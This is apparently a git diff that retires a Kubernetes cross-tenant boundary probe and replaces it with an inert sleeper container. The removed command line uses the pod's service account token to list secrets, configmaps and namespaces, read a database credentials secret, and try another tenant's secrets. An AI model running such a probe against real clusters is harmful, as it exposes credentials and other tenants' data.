diff --git a/README.md b/README.md index 103e46c..d5e5df8 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ # probe-manifests3 -i423 housekeeping: default manifest_path ./ now points at a single PSS-compliant, -inert busybox sleeper (root deployment.yaml) — the i188 cross-tenant boundary test -set remains available in git history (commit cbaa539) and under i188/ for -reproduction. No cluster-scoped Namespace object is applied from the root path. +i423 housekeeping: the default manifest_path ./ now points at a single inert, +PSS-compliant busybox sleeper (deployment.yaml) — no K8s API probes, no +cross-namespace reads, no cluster-scoped objects. The i188 cross-tenant +boundary test set remains available in git history (commit cbaa539) and the +i188/ tree for reproduction. diff --git a/deployment.yaml b/deployment.yaml index d208bf1..9a169a6 100644 --- a/deployment.yaml +++ b/deployment.yaml @@ -1,18 +1,18 @@ apiVersion: apps/v1 kind: Deployment metadata: - name: probe-exec + name: probe-inert labels: - app: probe-exec + app: probe-inert spec: replicas: 1 selector: matchLabels: - app: probe-exec + app: probe-inert template: metadata: labels: - app: probe-exec + app: probe-inert spec: securityContext: runAsNonRoot: true @@ -21,11 +21,12 @@ spec: seccompProfile: type: RuntimeDefault containers: - - name: probe-exec + - name: sleeper image: busybox:1.36 securityContext: runAsNonRoot: true allowPrivilegeEscalation: false + readOnlyRootFilesystem: true capabilities: drop: ["ALL"] - command: ["sh","-c","echo 'PROBE-PHASE2-START'; hostname; echo '--- K8S API: serviceaccount token'; cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>&1; TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null); echo \"token-len:${#TOKEN}\"; echo '--- try list secrets in own ns via K8s API'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets\" 2>&1 | head -c 1500; echo; echo '--- try list configmaps'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/configmaps\" 2>&1 | head -c 800; echo; echo '--- try LIST NAMESPACES (cross-ns)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces\" 2>&1 | head -c 800; echo; echo '--- read own db secret'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets/probedb-db-credentials\" 2>&1 | head -c 800; echo; echo '--- try foreign ns secret (cottoncraft)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets\" 2>&1 | head -c 500; echo; echo '--- SELF-SUBJECT RULES REVIEW'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate --post-data='{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"platchain-293213-dev\"}}' \"https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" 2>&1 | head -c 1500; echo; echo 'PROBE-PHASE2-END'; sleep 3000"] + command: ["sh", "-c", "echo I423-INERT-SLEEPER; sleep 3000"]